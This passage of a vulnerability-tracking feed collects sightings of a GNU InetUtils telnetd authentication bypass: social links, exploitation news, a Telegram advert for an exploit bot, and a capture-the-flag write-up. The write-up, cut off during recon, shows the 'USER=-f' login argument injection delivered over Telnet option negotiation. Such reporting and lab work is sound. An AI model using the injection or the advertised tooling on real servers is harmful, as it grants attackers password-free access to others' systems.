\u0648 \u0627\u0632 SSH \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0634\u0648\u062f.\n\n#\u0627\u06cc\u0631\u0627\u0646\n\n\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\n\ud83d\udd39\ud83d\udd39 @cyberbannews_ir", "creation_timestamp": "2026-04-07T17:24:15.000000Z"}, {"uuid": "790e2ec3-21f4-476a-9956-b52e8853902e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24061", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mdep2vij2i27", "content": "", "creation_timestamp": "2026-01-27T02:19:44.868502Z"}, {"uuid": "81f842c0-5d7d-40ec-b44c-3f66e985fae6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mdepjazwot23", "content": "", "creation_timestamp": "2026-01-27T02:27:46.688276Z"}, {"uuid": "d6554747-03e3-4133-ac93-99398c833f9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mdfljn2liv2d", "content": "", "creation_timestamp": "2026-01-27T10:49:04.462421Z"}, {"uuid": "9a0853d7-50de-4fb4-8676-43b45f6328ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mdfttihkxid2", "content": "", "creation_timestamp": "2026-01-27T13:17:48.752363Z"}, {"uuid": "ca2e70cf-7be1-4818-8f07-ef04e7c9b8fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mdfxwvgsac2v", "content": "", "creation_timestamp": "2026-01-27T14:31:14.062065Z"}, {"uuid": "8baacceb-573b-410b-9838-49edcd326cd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2026-24061", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/e93f2758-b37b-4a65-83f5-a42bab2a9c86", "content": "", "creation_timestamp": "2026-02-02T12:25:40.914124Z"}, {"uuid": "c5724095-5528-4ab8-96dc-5aaf75b79ffa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3mj2vsh5vlx23", "content": "", "creation_timestamp": "2026-04-09T13:24:50.126040Z"}, {"uuid": "b80830f3-dbda-4ffb-bcda-73fd2b2f23dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/cmsbotinfo/58", "content": "Update Modules:\nBOT & WEB\n\nmodules /cve:\n\nCVE-2026-24061\nCVE-2021-26084\nCVE-2024-36401\nCVE-2014-6271\n\nmodules /wp:\n\nCVE-2026-0920\nCVE-2025-6934\nCVE-2025-29009\nCVE-2025-6389\nCVE-2025-14998\nCVE-2024-56043\n\nI know there are the old CVE, but trust me, it's still working in the real target..\ne.g: CVE-2014-6271\n\nif you have the request CVE to added to bot , just chat @CMSAssistant_bot\nit's support for any language espesially english.\n\nI will update the more CVE ( at the moment i will add more modules for wordpress and other general CVE) \ud83d\ude01", "creation_timestamp": "2026-02-17T15:25:49.000000Z"}, {"uuid": "5799e70f-48af-49de-9058-d7897fef05cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://infosec.exchange/users/greynoise/statuses/116455770418741537", "content": "", "creation_timestamp": "2026-04-23T19:53:56.808010Z"}, {"uuid": "3512ad87-c907-480f-b1df-85003a9b0d00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/GithubRedTeam/78893", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-24061-GNU-InetUtils-telnetd-Authentication-Bypass-Vulnerability\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Risma2025\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-05 07:28:44\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-05T08:00:04.000000Z"}, {"uuid": "bef89fef-510a-402b-a902-236b00b65b3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "Telegram/DIWqgF-7sWws4tHWAmbzvMFEwGkWc1zEWYkoIuEMPdtIEfSl", "content": "", "creation_timestamp": "2026-01-24T01:20:05.000000Z"}, {"uuid": "ec4b2ddf-af03-4d49-92ac-6fcce5483421", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/GithubRedTeam/77340", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a telnet_scan\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ekomsSavior\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-03-26 12:56:42\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nscanner/exploiter CVE-2026-24061 & CVE-2026-32746\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-03-26T13:00:05.000000Z"}, {"uuid": "4d08f635-b064-4884-add0-a927d89ad423", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "exploited", "source": "https://t.me/true_secator/7908", "content": "GreyNoise \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 \u043e 417 \u0441\u0435\u0430\u043d\u0441\u0430\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Ivanti Endpoint Manager Mobile (EPMM), \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u043d\u044b\u0445 \u0441 8 IP \u0432 \u043f\u0435\u0440\u0438\u043e\u0434 1-9 \u0444\u0435\u0432\u0440\u0430\u043b\u044f, \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 346 (83% \u043e\u0442 \u0432\u0441\u0435\u0445 \u043f\u043e\u043f\u044b\u0442\u043e\u043a) \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u043b\u0438\u0441\u044c \u043d\u0430 \u043e\u0434\u0438\u043d 193.24.123[.]42 \u0432 \u0445\u043e\u0441\u0442\u0438\u043d\u0433\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 PROSPERO.\n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u0430 \u043d\u0430 CVE-2026-1281\u00a0(CVSS: 9,8), \u043e\u0434\u043d\u0443 \u0438\u0437 \u0434\u0432\u0443\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 EPMM, \u043d\u0430\u0440\u044f\u0434\u0443 \u0441\u00a0CVE-2026-1340,\u00a0\u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0434\u043b\u044f RCE.\n\n\u0412 \u043a\u043e\u043d\u0446\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u043c\u0435\u0441\u044f\u0446\u0430 Ivanti \u043f\u0440\u0438\u0437\u043d\u0430\u043b\u0430, \u0447\u0442\u043e \u00ab\u043e\u0447\u0435\u043d\u044c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432\u00bb \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u043b\u043e \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 0-day.\n\n\u0421 \u0442\u0435\u0445 \u043f\u043e\u0440 \u0440\u044f\u0434 \u0435\u0432\u0440\u043e\u043f\u0435\u0439\u0441\u043a\u0438\u0445 \u0433\u043e\u0441\u0441\u0442\u0440\u0443\u0443\u043a\u0442\u0443\u0440, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u0437\u0430\u0449\u0438\u0442\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u041d\u0438\u0434\u0435\u0440\u043b\u0430\u043d\u0434\u043e\u0432 (AP), \u0421\u0443\u0434\u0435\u0431\u043d\u044b\u0439 \u0441\u043e\u0432\u0435\u0442, \u0415\u0432\u0440\u043e\u043f\u0435\u0439\u0441\u043a\u0443\u044e \u043a\u043e\u043c\u0438\u0441\u0441\u0438\u044e \u0438 \u0444\u0438\u043d\u0441\u043a\u0443\u044e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044e Valtori, \u0441\u0442\u0430\u043b\u0438 \u0436\u0435\u0440\u0442\u0432\u0430\u043c\u0438 \u0430\u0442\u0430\u043a \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u0414\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u043d\u0430 \u0442\u043e\u0442 \u0436\u0435 \u0445\u043e\u0441\u0442 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0442\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043b \u0442\u0440\u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432: CVE-2026-21962\u00a0(Oracle WebLogic) - 2902 \u0441\u0435\u0441\u0441\u0438\u0438; CVE-2026-24061\u00a0(GNU InetUtils telnetd) - 497 \u0441\u0435\u0430\u043d\u0441\u043e\u0432 \u0438 CVE-2025-24799\u00a0(GLPI) - 200 \u0441\u0435\u0430\u043d\u0441\u043e\u0432.\n\nIP \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043c\u0435\u0436\u0434\u0443 300 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u043e\u043a\u0430\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0430\u0433\u0435\u043d\u0442\u043e\u0432, \u043e\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u044e\u0449\u0438\u043c\u0438 Chrome, Firefox, Safari \u0438 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u041e\u0421. \n\n\u041a\u0430\u043a \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442 \u0432 GreyNoise, \u0442\u0430\u043a\u043e\u0435 \u0440\u0430\u0437\u043d\u043e\u043e\u0431\u0440\u0430\u0437\u0438\u0435 \u0444\u0438\u043d\u0433\u0435\u0440\u043f\u0440\u0438\u043d\u0442\u043e\u0432 \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 \u0447\u0435\u0442\u044b\u0440\u0435\u0445 \u043d\u0435\u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u041f\u041e \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0430\u043c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f.\n\n\u041f\u043e \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c, PROSPERO \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0434\u0440\u0443\u0433\u043e\u0439 \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c Proton66, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u041f\u041e \u0434\u043b\u044f \u041f\u041a \u0438 Android, \u0432\u043a\u043b\u044e\u0447\u0430\u044f GootLoader, Matanbuchus, SpyNote, Coper (Octo) \u0438 SocGholish.\n\nGreyNoise \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u0432 85% \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0430\u0442\u0430\u043a\u0438 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u043b\u0430\u0441\u044c \u0447\u0435\u0440\u0435\u0437 DNS \u0434\u043b\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \"\u0446\u0435\u043b\u044c \u043f\u0440\u0438\u0433\u043e\u0434\u043d\u0430 \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0438\", \u0431\u0435\u0437 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0438\u043b\u0438 \u043a\u0440\u0430\u0436\u0438 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u0421\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u043d\u0435\u0439 \u0440\u0430\u043d\u0435\u0435 Defused Cyber \u0442\u0430\u043a\u0436\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u00ab\u0441\u043f\u044f\u0449\u0435\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438\u00bb, \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0432 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u044b EPMM \u043f\u043e \u043f\u0443\u0442\u0438 /mifs/403.jsp \u0431\u044b\u043b \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442 \u043d\u0435\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u043a\u043b\u0430\u0441\u0441\u043e\u0432 Java \u0432 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438. \n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0435 \u0432\u044b\u0437\u043e\u0432\u044b OAST \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u0430 \u043d\u0430 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438\u0437\u0430\u0446\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0446\u0435\u043b\u0435\u0439, \u0431\u0435\u0437 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u043d\u0430\u0433\u0440\u0443\u0437\u043e\u043a, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c Ivanti EPMM \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043b\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0430\u0442\u0447\u0438, \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0430\u0443\u0434\u0438\u0442 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b MDM, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439 \u0438\u0437 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430, \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0436\u0443\u0440\u043d\u0430\u043b\u044b DNS \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0445 \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u043f\u043e \u0448\u0430\u0431\u043b\u043e\u043d\u0443 OAST, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u043f\u0443\u0442\u044c /mifs/403.jsp \u043d\u0430 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430\u0445 EPMM \u0438 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 PROSPERO (AS200593) \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0430 \u0441\u0435\u0442\u0438.\n\n\u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, Ivanti \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u00ab\u0432\u044b\u0441\u043e\u043a\u043e\u0442\u043e\u0447\u043d\u044b\u0435\u00bb IOCs, \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0443\u0433\u0440\u043e\u0437, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u043a\u0440\u0438\u043f\u0442 \u0434\u043b\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u043d\u043e \u0441 NCSC-NL \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0438 \u044d\u0442\u043e\u0439 \u0443\u0433\u0440\u043e\u0437\u0435. \u0418, \u0435\u0449\u0435 \u043d\u043e\u0432\u044b\u0439 \u043c\u0435\u0440\u0447 \u0441 \u043a\u043e\u0440\u0438\u0447\u043d\u0435\u0432\u044b\u043c \u043e\u0442\u0442\u0435\u043d\u043a\u043e\u043c.", "creation_timestamp": "2026-02-13T12:00:09.000000Z"}, {"uuid": "fc87e269-e57f-4409-8f08-2436f84a36f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "exploited", "source": "https://t.me/xakep_ru/18842", "content": "800 000 Telnet-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0440\u0438\u0441\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\n\n\u0410\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0438 Shadowserver Foundation \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442 \u043f\u043e\u0447\u0442\u0438 800 000 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u043d\u0430 \u0444\u043e\u043d\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-24061 \u0432 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u043c \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 GNU InetUtils telnetd.\n\nhttps://xakep.ru/2026/01/28/telnetd/", "creation_timestamp": "2026-01-28T08:36:27.000000Z"}, {"uuid": "d944a1d2-4d81-4bbd-82df-a0cb132a8df8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/exploitdb-bot.bsky.social/post/3mkmxnr5jxk27", "content": "\ud83d\udea8 New Exploit: GNU InetUtils 2.6 - Telnetd Remote Privilege Escalation\n\ud83d\udccb CVE: CVE-2026-24061\n\ud83d\udc64 Author: aliguliyev\n\n\ud83d\udd17 https://www.exploit-db.com/exploits/52524\n\n#ExploitDB #InfoSec #CyberSecurity #CVE-2026-24061", "creation_timestamp": "2026-04-29T11:11:07.281662Z"}, {"uuid": "d878e064-b2ee-4090-9474-1b248f1be59f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://gist.github.com/nnamon/ca4316cf58c60eeefaffc974bf3f8101", "content": "# Climb Me (part 1/4) \u2014 pwn\n\n> `THC{D0nt_Us3-Teln3t!}`\n\n## TL;DR\n\n- The \"C2\" service speaks raw Telnet (RFC 854) followed by a Linux `getty`/`login` prompt \u2014 not SSH and not a custom binary protocol despite the operator note (\u00a7Recon).\n- During option negotiation the server requests `IAC DO NEW-ENVIRON` (option 39, RFC 1572). Accepting it lets the client push environment variables that `login(1)` will trust to pre-fill the username (\u00a7Vulnerability).\n- The classic `util-linux` `login` argv injection works through that channel: setting `USER=-f ` causes `login` to be re-invoked with `-f` as a flag and `` as the pre-authenticated user, skipping the password (\u00a7Primitive construction).\n- `USER=-f debian` is the only string in the candidate list that matches a real local account; `id` returns `uid=1000(debian)` and `/home/debian/flag.txt` contains the flag (\u00a7Exploitation chain).\n- No memory corruption, format string, or custom protocol is required; the bug is a configuration/argv-injection flaw in a getty\u2011style telnet front-end (\u00a7Methodology).\n\n## Recon\n\nThe challenge ships with no distfile \u2014 only `metadata.yml` is present in `/challenge`:\n\n```\n$ find /challenge -type f\n/challenge/metadata.yml\n```\n\nA naive grab returns nothing, because the server waits for a reply to its options before producing any printable bytes:\n\n```\n$ timeout 3 nc 20.40.135.232 48988 | xxd -g1 -c16 -l 256\n[exit 124]      # connection times out \u2014 server is silent until we negotiate\n```\n\nCapturing the raw first packet with a Python socket reveals what is actually sent:\n\n```python\ns=socket.create_connection(('20.40.135.232',48988),timeout=5)\ndata=s.recv(4096)\n```\n\n```\nLEN 15\nfffd18fffd20fffd23fffd27fffd24\nb\"\\xff\\xfd\\x18\\xff\\xfd \\xff\\xfd#\\xff\\xfd'\\xff\\xfd$\"\n```\n\nEach three-byte group is a Telnet **IAC DO ``** command (RFC 854: `IAC=0xFF`, `DO=0xFD`):\n\n| Bytes        | Option (decimal) | RFC name              |\n|--------------|------------------|-----------------------|\n| `ff fd 18`   | 24               | TERMINAL-TYPE         |\n| `ff fd 20`   | 32               | TERMINAL-SPEED        |\n| `ff fd 23`   | 35               | X-DISPLAY-LOCATION    |\n| `ff fd 27`   | 39               | NEW-ENVIRON (RFC 1572)|\n| `ff fd 24`   | 36               | ENVIRON               